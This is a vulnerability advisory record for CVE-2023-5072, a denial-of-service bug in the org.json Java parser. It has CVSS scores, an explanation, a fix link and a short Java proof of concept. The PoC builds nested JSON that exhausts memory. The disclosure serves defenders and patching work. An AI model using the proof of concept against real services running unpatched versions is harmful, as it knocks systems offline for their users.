CVE-2023-5072 – org.json:json

Package

Manager: maven
Name: org.json:json
Vulnerable Version: >=0 <20231013

Severity

Level: High

CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVSS v4.0: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

EPSS: 0.00525 pctl0.6604

Details

Java: DoS Vulnerability in JSON-JAVA ### Summary A denial of service vulnerability in JSON-Java was discovered by [ClusterFuzz](https://google.github.io/clusterfuzz/). A bug in the parser means that an input string of modest size can lead to indefinite amounts of memory being used. There are two issues: (1) the parser bug can be used to circumvent a check that is supposed to prevent the key in a JSON object from itself being another JSON object; (2) if a key does end up being a JSON object then it gets converted into a string, using `\` to escape special characters, including `\` itself. So by nesting JSON objects, with a key that is a JSON object that has a key that is a JSON object, and so on, we can get an exponential number of `\` characters in the escaped string. ### Severity High - Because this is an already-fixed DoS vulnerability, the only remaining impact possible is for existing binaries that have not been updated yet. ### Proof of Concept ```java package orgjsonbug; import org.json.JSONObject; /** * Illustrates a bug in JSON-Java. */ public class Bug { private static String makeNested(int depth) { if (depth == 0) { return "{\"a\":1}"; } return "{\"a\":1;\t\0" + makeNested(depth - 1) + ":1}"; } public static void main(String[] args) { String input = makeNested(30); System.out.printf("Input string has length %d: %s\n", input.length(), input); JSONObject output = new JSONObject(input); System.out.printf("Output JSONObject has length %d: %s\n", output.toString().length(), output); } } ``` When run, this reports that the input string has length 367. Then, after a long pause, the program crashes inside new JSONObject with OutOfMemoryError. ### Further Analysis The issue is fixed by [this PR](https://github.com/stleary/JSON-java/pull/759). ### Timeline **Date reported**: 07/14/2023 **Date fixed**: **Date disclosed**: 10/12/2023

Metadata

Created: 2023-11-14T22:24:08Z
Modified: 2025-08-22T20:55:25Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2023/11/GHSA-4jq9-2xhw-jpx7/GHSA-4jq9-2xhw-jpx7.json
CWE IDs: ["CWE-358"]
Alternative ID: GHSA-4jq9-2xhw-jpx7
Finding: F096
Auto approve: 1